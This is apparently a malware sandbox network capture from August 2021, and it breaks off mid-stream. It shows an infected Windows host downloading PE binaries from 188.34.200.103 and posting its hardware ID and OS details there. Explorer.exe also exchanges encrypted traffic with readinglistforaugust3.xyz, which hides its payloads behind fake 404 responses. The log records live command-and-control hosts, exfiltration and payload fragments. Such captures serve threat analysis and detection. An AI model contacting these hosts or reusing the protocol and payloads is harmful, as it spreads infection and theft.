00 00 00 00 00 00 00 00 00 00 00 18 02 00 d0 1d 00 00 00 40 02 00 60 0e 00 00 d0 fe 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 ff 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cb b4 01 00 00 10 00 00 00 b6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0a 44 00 00 00 d0 01 00 00 46 00 00 00 ba 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 07 00 00 00 20 02 00 00 04 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 30 02 00 00 04 00 00 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 60 0e 00 00 00 40 02 00 00 10 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$l$JOJOJOuOJO?oKNJO?oINJO?oONJO?oNNJOmKNJO-nKNJOKO~JO-nNNJO-nJNJO-nOJO-nHNJORichJOPELb["!bP@0x@`T(@l.text `.rdataDF@@.data @.rsrcx0@@.reloc`@@B
Aug 24, 2021 14:01:52.296565056 CEST	18898	OUT	GET /vcruntime140.dll HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 Host: 188.34.200.103 Connection: Keep-Alive
Aug 24, 2021 14:01:52.317430973 CEST	18899	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Aug 2021 12:01:52 GMT Content-Type: application/x-msdos-program Content-Length: 83784 Connection: keep-alive Last-Modified: Wed, 14 Nov 2018 15:53:50 GMT ETag: "14748-57aa1f0b0df80" Expires: Wed, 25 Aug 2021 12:01:52 GMT Cache-Control: max-age=86400 X-Cache-Status: EXPIRED X-Cache-Status: HIT Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 f0 00 00 14 09 00 00 c0 10 01 00 8c 00 00 00 00 20 01 00 08 04 00 00 00 00 00 00 00 00 00 00 00 08 01 00 48 3f 00 00 00 30 01 00 94 0a 00 00 b0 1f 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 1f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 e9 00 00 00 10 00 00 00 ea 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 06 00 00 00 00 01 00 00 02 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b8 05 00 00 00 10 01 00 00 06 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 08 04 00 00 00 20 01 00 00 06 00 00 00 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 0a 00 00 00 30 01 00 00 0c 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$NEEE"GL^NElUVA_D2DDRichEPEL8'Y"! @@A H?08@.text `.dataD@.idata@@.rsrc @@.reloc0@B
Aug 24, 2021 14:02:10.076225042 CEST	20380	OUT	POST / HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A Content-Length: 5036 Host: 188.34.200.103 Connection: Keep-Alive Cache-Control: no-cache
Aug 24, 2021 14:02:10.076313019 CEST	20385	OUT	Data Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 64 30 36 65 64 36 33 35 2d 36 38 66 Data Ascii: --1BEF0A57BE110FD467AContent-Disposition: form-data; name="hwid"d06ed635-68f6-4e9a-955c-90ce-806e6f6e6963--1BEF0A57BE110FD467AContent-Disposition: form-data; name="os"Windows 10 Pro--1BEF0A57BE110FD467AContent-Disposition: fo
Aug 24, 2021 14:02:10.227273941 CEST	20386	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Aug 2021 12:02:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 31 36 0d 0a 1f 8b 08 00 00 00 00 00 04 03 cb cf 06 00 47 dd dc 79 02 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 16Gy0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49732	212.224.105.79	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 24, 2021 14:02:02.777674913 CEST	19029	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 262 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:02:02.778439045 CEST	19029	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 86 1c 3a bc d5 4a 99 47 ba bf 9d cb 9d 59 Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q:JGY:-\|=6W?5BQxE@Ep]SK;1qyU(W\e\x(Z65iYH pM(mY[:$p(X@1`v
Aug 24, 2021 14:02:02.825799942 CEST	19030	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:02:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:02:02.835866928 CEST	19030	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 255 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:02:02.835941076 CEST	19031	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 86 1c 3d bc d5 4a 99 47 ba bf cf c6 d0 29 Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q=JG)}r \|z/MIK9,J_gm,F%dC"jKg=_!mzV1{zjR{8SFwG\|}]0Qi1Hk~xw
Aug 24, 2021 14:02:02.909996033 CEST	19036	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:02:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 32 32 65 30 32 0d 0a 00 00 a6 97 8c b4 08 02 7f 77 08 a7 e7 cb 2c c9 aa 43 96 74 c4 0c 23 20 5b f4 75 62 d6 86 a7 f2 12 bc a9 da 62 b6 a0 d6 8e 2a 03 c1 fe f5 78 80 42 09 22 23 7a 2b 5a be 51 83 37 f3 38 8f 8d dd 37 2e 52 8c 23 e2 54 03 2c 1e 64 de 43 81 bc a4 b9 18 d8 e0 a3 e5 f9 b6 3f 7c 68 a0 d4 a1 a7 43 ab 78 a6 8f 31 88 43 72 56 b9 f9 4f 85 d1 73 62 c6 80 7d 19 09 03 aa d1 5f fb 83 4a 56 48 b2 50 68 63 0d 90 06 2d ac 34 ae f9 72 85 1b 7c 10 a3 d2 38 14 32 8f d7 6f 4e bd 01 b5 23 8e c7 b7 28 c5 87 45 e1 32 d5 a7 5f 81 cb 0f 63 07 79 93 53 72 62 19 13 bd 34 16 e4 dc 32 11 41 7f 14 ef 7a 78 30 ba 80 f5 fd 31 4f c6 34 59 ee 71 0a 12 63 f7 cc eb cb f1 22 4f 85 4a c2 2f b2 87 2e f9 bc 46 34 83 34 7b 27 30 67 1b bd 55 16 5a e2 50 57 9a 0e 6a 11 e9 43 de e5 60 23 c0 f9 4f 37 91 f8 32 2f b5 e6 66 93 2d b8 07 65 b4 02 aa 56 22 c2 72 6d f1 b5 de cc 08 cd f7 dd 4f 34 bf 3d 1f d8 e6 c6 c6 29 b3 86 a4 a3 55 4d b1 67 12 ff a0 c3 94 52 02 2a 22 af 15 27 78 3a 07 f4 74 c6 51 e5 0d bb 27 12 c8 c4 48 fc 87 a9 08 85 9c 43 b5 af 83 17 e1 1b c3 98 fe 26 5f 10 62 66 42 ef 2d 5c 31 5a 4f 52 54 9f 40 c5 0d 60 cf 9f 1a 68 cf df 32 78 5d 7b cf d5 3e 04 e7 14 82 fd 23 69 45 96 7a 54 19 51 5e 36 06 06 50 da 30 e4 03 8e 39 cf a8 65 17 92 54 67 f4 c1 ed fe d5 2c 1f 5d d6 e8 07 5d 0d a8 00 da 5b 36 a1 7f 0d 9c 65 c8 f6 3d e8 67 df d0 20 4d eb 8b b7 e9 8b 21 90 23 4c 14 be a3 a6 65 79 cc 66 56 7a 79 2a dc d7 03 f2 07 2a e5 8f cb e7 66 93 78 b5 03 df d5 2d 12 79 aa 22 49 e8 a8 25 99 a3 a0 cd 1b 16 b4 e6 f1 36 ed 02 25 8d d9 22 bc b6 a5 b5 2e 5d f9 ec 40 2b 12 18 68 b3 03 67 cb 7b 8e 72 b2 64 e1 26 15 b6 a8 11 bf d7 a6 cb 27 64 dd db fb 92 d5 27 a3 df 47 51 77 5e 82 62 74 b1 3c 38 42 57 eb f4 4e 31 1f 21 3b d7 af 49 27 f5 8c 9a f1 0e 3d 61 07 59 d0 5f 93 43 b8 d9 6b 79 63 98 ea 3a fd da 53 4f ff 4b 87 3a 5e 35 a3 e1 db 68 ff 44 00 e5 63 33 2f 67 78 4d 24 81 c4 9f b2 75 56 8b 29 ae c3 12 38 97 45 ea a2 bf 8e ec db 4b fb 22 6d c1 df e4 bd be 75 2f d3 b2 cc df f9 5b ea cf 25 51 57 30 b6 4c 72 1c 79 df d8 65 7f 63 99 42 eb 31 74 7c 8e 28 c0 49 d1 2a 0c df 0f d3 99 23 9a 7f 4e 0c 96 26 c1 04 f3 87 57 07 c3 09 e8 6d 86 18 33 cc 89 4b 9b 66 94 ef ec d6 37 95 ec 44 41 f5 7f 60 36 04 ba ff 27 83 54 24 f8 e5 cc 7a 5a 0f 61 a0 63 89 b3 0c 28 51 b9 f6 12 63 8a 91 b3 1f a2 4e 37 ab d7 a8 05 3a 8b 62 44 85 d5 79 e1 34 75 2f 5b 9b e3 c1 78 f2 c8 79 8e 6b 4e d2 1d ef 0b d6 39 e1 fb 37 e1 7e 58 07 e0 f0 b4 2d 91 6c 38 8b 0d ad 0f 45 84 ac f1 cc e6 60 81 fe 0c 56 0c c1 60 e7 ab 64 47 d3 e3 71 0d b2 19 1f b7 1c 9a 71 41 2a 27 6f e8 ee 65 44 50 7f c8 f1 9d e8 b4 7f 5d 7e 8e b6 58 c4 f6 2d c9 24 c0 0f 0d e9 41 67 f3 66 56 a3 44 d1 c4 a3 85 4b e7 cb 8a 6c 61 29 78 d5 a2 1e 97 94 13 5a 93 db 14 d8 53 d4 25 4b f7 d5 84 e3 56 40 28 66 00 32 25 d4 a1 d4 da d5 e9 25 7b d4 ea 6e 30 da 17 e8 b4 31 e9 32 95 23 09 72 74 1e 97 85 ce bf 87 9d 85 9d ca 27 a9 da 4e 81 23 e6 0f ac 86 cd 87 3b fe e1 39 be 29 cb 6b 8d d3 13 ac ed 9a e3 cf 59 ad 37 fc 83 b0 bc af 0c b6 40 bc 36 85 ac 3d eb 95 d9 ac d0 90 bb ec b0 70 02 81 8c 28 3c d6 ef ff e6 84 27 ed 5c 88 3b c2 00 67 95 39 1c cb dc 34 29 98 ab d6 f1 57 2a 46 8e d8 15 98 87 23 30 c1 92 74 6d 82 41 10 6b 7b e7 be 74 5e 98 32 88 db 84 38 58 d4 45 e3 47 dd 03 f3 a6 09 70 4c 93 54 df 19 35 a5 1c ff 10 dd ad fd c3 60 29 b9 fd ea 7d 9f e9 af dc 7f d4 1c 5a 5a 5a 1d 4c ce b9 98 e5 de b6 a1 82 43 a9 fa 75 b8 86 9d 48 66 a8 9c b3 Data Ascii: 22e02w,Ct# [ubbxB"#z+ZQ787.R#T,dC?\|hCx1CrVOsb}_JVHPhc-4r\|82oN#(E2_cySrb42Azx01O4Yqc"OJ/.F44{'0gUZPWjC`#O72/f-eV"rmO4=)UMgR"'x:tQ'HC&_bfB-\1ZORT@`h2x]{>#iEzTQ^6P09eTg,]][6e=g M!#LeyfVzy*fx-y"I%6%".]@+hg{rd&'d'GQw^bt<8BWN1!;I'=aY_Ckyc:SOK:^5hDc3/gxM$uV)8EK"mu/[%QW0LryecB1t\|(I#N&Wm3Kf7DA`6'T$zZac(QcN7:bDy4u/[xykN97~X-l8E`V`dGqqA'oeDP]~X-$AgfVDKla)xZS%KV@(f2%%{n012#rt'N#;9)kY7@6=p(<'\;g94)WF#0tmAk{t^28XEGpLT5`)}ZZZLCuHf
Aug 24, 2021 14:02:02.910036087 CEST	19038	IN	Data Raw: 8e 8d 81 f7 b6 2e 5c f5 68 e0 26 e3 72 5d 8f bf 17 51 c9 c2 0b 9e de e3 c0 e5 21 da 98 53 7c 47 e3 91 8b b6 bc f3 65 84 d7 54 fe 79 38 06 97 8c 26 f0 bb bf 00 32 e4 4a e2 d5 d7 17 be 94 ef 64 db c9 d5 c4 72 e4 49 05 31 84 1e 62 df a2 43 42 b2 e7 Data Ascii: .\h&r]Q!S\|GeTy8&2JdrI1bCB 7;[s0KEx(`Pz2'@W)GR6LX-R>{iAA]lK%Qppa'dlK!+H?M7B,LF:p1o&l?
Aug 24, 2021 14:02:02.910060883 CEST	19039	IN	Data Raw: 39 39 d0 c2 0a 9d e2 cd 1f 50 7f 49 0c fc bb 0f f2 bf d1 fe f7 db 4d 0e 01 4d af dc 83 b8 c1 77 4c dc a8 99 72 3f 25 18 6d 9b 6b 1b 75 d6 2f 86 54 5f 29 a1 18 9e 74 b5 7b ab b8 61 d3 0c 1f 60 84 48 09 cf 35 bb 5f 91 60 07 f8 e1 7b 83 d0 d0 f4 5e Data Ascii: 99PIMMwLr?%mku/T_)t{a`H5_`{^P/gr(I7bO-="GV6LS=1\|>hA y8Y}Jj)r<T)1M7k*@QMOU3,?CIi.q%AwB4
Aug 24, 2021 14:02:02.910085917 CEST	19040	IN	Data Raw: 87 0c 37 f4 21 3a 72 ba 9a 56 20 b3 bf 0d 7a 20 53 9e 78 0a 3a cf ef a8 e5 06 f6 d8 19 2b 0a df 11 a7 d5 d3 b7 0c a2 49 5e 0d d0 d1 d1 12 f8 db af fa 1b 85 14 b7 92 24 2e 4a 23 33 c9 f1 31 09 0e ca 96 ef 09 c6 89 98 d0 0d 3d 6a 5b 53 2c ba 21 c9 Data Ascii: 7!:rV z Sx:+I^$.J#31=j[S,!};]JY")2jgns43[reLQ{O.2{\8{-aAr0P=ogYd.9e(~!7mY3xiXVO}b
Aug 24, 2021 14:02:02.910110950 CEST	19042	IN	Data Raw: 7e d3 ba c9 52 35 58 ab 14 81 e3 55 56 80 bf 99 f3 d6 bc b9 2a 44 1e e7 fd 6e 1d 31 b8 ec cf b9 1d 65 95 ac 19 e4 c5 d3 54 1e f8 e9 ca 5b 3f 1f 45 84 ea f3 be e8 86 22 b7 4c 72 24 b2 23 ce c7 61 ff 5c 14 7c fe a7 35 d6 45 92 a2 e7 1d 17 4a a2 0f Data Ascii: ~R5XUVDn1eT[?E"Lr$#a\\|5EJm9YHd6zy{k\|#/!5W-)]0?Pu5W? WbEs]B\[>;O2SIe\deEQM%L]\~
Aug 24, 2021 14:02:02.910135031 CEST	19043	IN	Data Raw: c6 7a a5 3e ef 55 25 e7 d9 41 df c5 73 bd 7f da a6 ee ac 5e f9 77 ea ec c5 ac af fa 87 f8 c5 77 c1 f7 47 18 a4 2d 32 27 8e bd 32 ee 87 0d b5 b1 b6 7d 5b 05 44 01 8b 6d 6f 45 2e a4 a0 bb 25 fd 7f f6 1c 6b cb 22 89 e9 0f 18 ca e3 67 38 0e 42 d5 1e Data Ascii: z>U%As^wwG-2'2}[DmoE.%k"g8B'JY?tIu%A'`f>J5&a$lY[1,=zrVSxeyk3(6In}9wO@Cmjay8hbdi\e#~A+)B10R_
Aug 24, 2021 14:02:02.910161018 CEST	19044	IN	Data Raw: b1 a1 26 34 c6 70 39 ad 13 75 94 7e 71 ad 85 49 de 9a 8b 0c 13 a6 30 77 28 de 43 16 00 10 33 e6 c5 28 a8 fd 78 69 d2 af 5c 8f 05 6b ad 95 59 36 6f 45 78 e8 08 1d ed 94 f0 28 e7 1d cd 1b 6f e6 d2 a6 4b fe 81 13 c0 3f 1e 93 06 c2 8e f2 e0 f0 c9 ff Data Ascii: &4p9u~qI0w(C3(xi\kY6oEx(oK?uKgzJ,a!MJA>k6zAUB ]ZinZb }j$>s#J8uc{}H>YY+*Q<P+{m
Aug 24, 2021 14:02:02.910185099 CEST	19046	IN	Data Raw: e0 56 3c 89 7b 6a c6 d1 4d bd ac 9d d6 e7 5f 48 ea 4b 67 2a 40 3a 4b 2a b0 78 c0 89 da 03 bf 45 88 4d 32 c0 89 13 8c 06 85 94 f1 08 a3 4d 22 fe fa ed 21 fe b2 b8 b4 78 dc 9a 3a 44 41 be bc d5 33 29 64 50 43 1c 7a 56 0b 38 e4 a3 54 5b 77 80 a8 e4 Data Ascii: V<{jM_HKg@:KxEM2M"!x:DA3)dPCzV8T[w\|^i~cO3,f9Au%;^d\|L6gRi%0XQ%fU;9.#D$ i=ACf0).+[4KyY;XQr9?Z
Aug 24, 2021 14:02:02.910208941 CEST	19047	IN	Data Raw: a4 92 21 b4 cb b7 98 d7 47 ec 82 a1 e7 e3 a3 4e 9f 9a 82 62 66 d0 c3 87 d2 f0 14 92 af 31 2d 76 48 21 ca 89 f5 ef db 02 85 69 98 d0 ef d1 40 f3 60 29 d9 b6 09 2e 22 8d 65 c8 96 20 a7 c2 34 cd a7 5a b9 92 57 19 92 eb 8f 3f 13 b3 4f 0d c3 69 c6 cc Data Ascii: !GNbf1-vH!i@`)."e 4ZW?Oil4G+HF-lUH{h8Na4"eyUn8>h4~z dqG1R?g$f%>\|S/@aVCGXje(lv?y,I\
Aug 24, 2021 14:02:02.910235882 CEST	19049	IN	Data Raw: db 2f 59 90 af 40 9b b4 dd 88 bd 2e 09 27 c7 0d c4 a4 19 38 93 87 79 61 1d 93 2c f3 df de 81 38 91 82 50 f9 4e 34 bb 1d 13 10 7e e4 98 c6 ad 3e af a4 9b bf c0 a7 de 6a b5 7c 6f 42 69 a5 a7 7f e4 26 d5 f2 33 25 a5 fd 9f f7 5f aa 09 33 63 8f 37 72 Data Ascii: /Y@.'8ya,8PN4~>j\|oBi&3%_3c7rRMlIN/rqNVa=r!a6TJ?qVym[WJ$.f5Q"+5+[\na=%<LX!y\";Mfi!WPdk2:
Aug 24, 2021 14:02:02.932482004 CEST	19050	IN	Data Raw: 82 99 61 35 74 91 00 58 59 aa b9 02 bf c4 52 30 a1 03 34 9e 9d 3f 84 62 81 23 ca 0d c4 f2 71 02 be b2 dc 3d 81 11 5d 99 4c f7 dd 35 63 24 ba 33 41 07 4d a1 fb 28 41 86 bb 76 73 da d6 fe 89 80 8a 30 de 59 21 d4 5d 80 81 9f 53 23 6e 33 f9 14 64 d8 Data Ascii: a5tXYR04?b#q=]L5c$3AM(Avs0Y!]S#n3dqJhwEu-lY`t_JKY.G%XT%SNEBR,[lqAT[_&^%;I[)~1Z}G%kyL^N+^VB]&H
Aug 24, 2021 14:02:03.280658007 CEST	19185	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 353 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:02:03.280800104 CEST	19186	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 87 1c 3d bc d5 4a 98 47 ba bf ae d6 97 53 Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q=JGS`]jRw@H>/q.??Gq4@V2Eln.f0\kMv;P .Z?E\|,udd;8BKQuUX<\bIFm
Aug 24, 2021 14:02:03.335417032 CEST	19186	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:02:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 